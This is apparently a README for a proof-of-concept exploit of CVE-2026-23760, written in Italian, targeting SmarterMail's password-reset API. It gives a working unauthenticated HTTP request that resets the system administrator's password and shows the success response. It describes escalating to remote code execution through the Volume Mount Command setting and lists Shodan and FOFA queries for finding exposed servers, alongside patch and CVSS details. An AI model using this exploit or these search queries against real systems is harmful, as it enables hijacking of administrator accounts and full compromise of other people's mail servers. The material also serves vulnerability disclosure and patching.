SmarterMail-CVE-2026-23760-poc

Una proof-of-concept che sfrutta un bypass dell'autenticazione tramite l'API di reset della password per l'account amministratore di sistema di SmarterMail.

Vulnerabilità

La vulnerabilità è dovuta a un bypass dell'autenticazione nell'API di reset della password. L'endpoint force-reset-password consente richieste anonime e non verifica la password esistente o un token di reset quando si reimpostano gli account amministratore di sistema.

• Compromissione dell'account amministratore di sistema.
• Un percorso diretto verso l'esecuzione remota di codice tramite le funzionalità integrate di SmarterMail.

Versioni Affette

• Versioni di SmarterTools SmarterMail precedenti alla build 9511

PoC (di watchtowr labs)

La PoC è semplice come questa:

POST /api/v1/auth/force-reset-password HTTP/1.1
Host: xxxxxxx:9998
Content-Type: application/json
Content-Length: 145

{"IsSysAdmin":"true",
"OldPassword":"watever",
"Username":"admin",
"NewPassword":"NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"}

Dovresti ricevere la seguente risposta, che conferma che la password è stata modificata con successo:

{
"username":"",
"errorCode":"",
"errorData":"",
"debugInfo":"check1\\r\\ncheck2\\r\\ncheck3\\r\\ncheck4.2\\r\\ncheck5.2\\r\\ncheck6.2\\r\\ncheck7.2\\r\\ncheck8.2\\r\\n",
"success":true,
"resultCode":200
}

L'unico requisito rimanente è conoscere il nome utente dell'account amministratore.

Da ATO a RCE e oltre

Una volta autenticato come amministratore di sistema, un attaccante può:

• Navigare fino a Settings -> Volume Mounts.
• Creare un nuovo volume.
• Fornire un comando arbitrario nel campo Volume Mount Command.

Tale comando viene eseguito dal sistema operativo sottostante. A quel punto, l'attaccante ha ottenuto la piena esecuzione remota di codice sull'host.

Quando la configurazione viene salvata, il comando fornito viene eseguito immediatamente.

Automazione

Nuclei-Template:

https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-23760.yaml

Nel mondo reale

FOFA:

title='SmarterMail'

SHODAN:

html:'SmarterMail'

Impatto

Un attaccante remoto non autenticato può bypassare l'autenticazione per l'account amministratore di sistema e ottenere l'accesso. Una volta autenticato, può completare una piena esecuzione remota di codice sull'host.

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - 9.3:Critica

Rimedio e Mitigazione

Aggiorna all'ultima versione: https://www.smartertools.com/smartermail/downloads

• Build 9511 (15 gennaio 2026)
• Build 9518 (22 gennaio 2026)

Riferimenti

• Note di rilascio di SmarterMail
• https://nvd.nist.gov/vuln/detail/CVE-2026-23760
• Blog e PoC di watchTowr

Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale.